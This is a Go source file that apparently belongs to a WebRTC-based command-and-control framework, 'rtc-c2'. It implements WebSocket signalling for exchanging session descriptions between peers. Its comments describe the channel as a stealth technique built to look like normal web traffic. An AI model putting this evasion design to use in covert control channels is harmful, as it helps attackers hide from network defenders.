Upload files to "rtc-c2/pkg/signaller"

rtc-c2/pkg/signaller/websocket.go

@@ -0,0 +1,94 @@
+package signaller
+
+import (
+	"encoding/json"
+	"fmt"
+	"log"
+	"net/http"
+	"time"
+
+	"github.com/gorilla/websocket"
+	"github.com/pion/webrtc/v4"
+)
+
+// WebSocketSignaller exchanges SDP through WebSocket connections.
+// Stealthier than HTTP polling — single persistent connection,
+// looks like a normal web app or live data feed (Technique 3).
+type WebSocketSignaller struct {
+	baseURL    string
+	sessionKey string
+	role       string
+}
+
+// NewWebSocketSignaller creates a WebSocket-based signaller client.
+func NewWebSocketSignaller(baseURL, sessionKey, role string) *WebSocketSignaller {
+	return &WebSocketSignaller{
+		baseURL:    baseURL,
+		sessionKey: sessionKey,
+		role:       role,
+	}
+}
+
+// SendLocalDescription sends this peer's SDP via WebSocket.
+func (w *WebSocketSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
+	url := fmt.Sprintf("%s?sess=%s&role=%s&action=sdp", w.baseURL, w.sessionKey, w.role)
+
+	dialer := websocket.Dialer{
+		HandshakeTimeout: 10 * time.Second,
+	}
+
+	conn, _, err := dialer.Dial(url, http.Header{})
+	if err != nil {
+		return fmt.Errorf("ws-signaller: dial: %w", err)
+	}
+	defer conn.Close()
+
+	data, err := json.Marshal(sdp)
+	if err != nil {
+		return fmt.Errorf("ws-signaller: marshal: %w", err)
+	}
+
+	if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
+		return fmt.Errorf("ws-signaller: write: %w", err)
+	}
+
+	return nil
+}
+
+// ReceiveRemoteDescription waits for and returns the remote peer's SDP.
+func (w *WebSocketSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
+	url := fmt.Sprintf("%s?sess=%s&role=%s&action=wait", w.baseURL, w.sessionKey, w.role)
+
+	dialer := websocket.Dialer{
+		HandshakeTimeout: 10 * time.Second,
+	}
+
+	conn, _, err := dialer.Dial(url, http.Header{})
+	if err != nil {
+		return nil, fmt.Errorf("ws-signaller: dial: %w", err)
+	}
+	defer conn.Close()
+
+	for {
+		_, msg, err := conn.ReadMessage()
+		if err != nil {
+			return nil, fmt.Errorf("ws-signaller: read: %w", err)
+		}
+
+		// Check for error response
+		var errResp struct {
+			Error string `json:"error"`
+		}
+		if json.Unmarshal(msg, &errResp) == nil && errResp.Error != "" {
+			return nil, fmt.Errorf("ws-signaller: %s", errResp.Error)
+		}
+
+		var sdp webrtc.SessionDescription
+		if err := json.Unmarshal(msg, &sdp); err != nil {
+			log.Printf("[ws-signaller] bad sdp: %v", err)
+			continue
+		}
+
+		return &sdp, nil
+	}
+}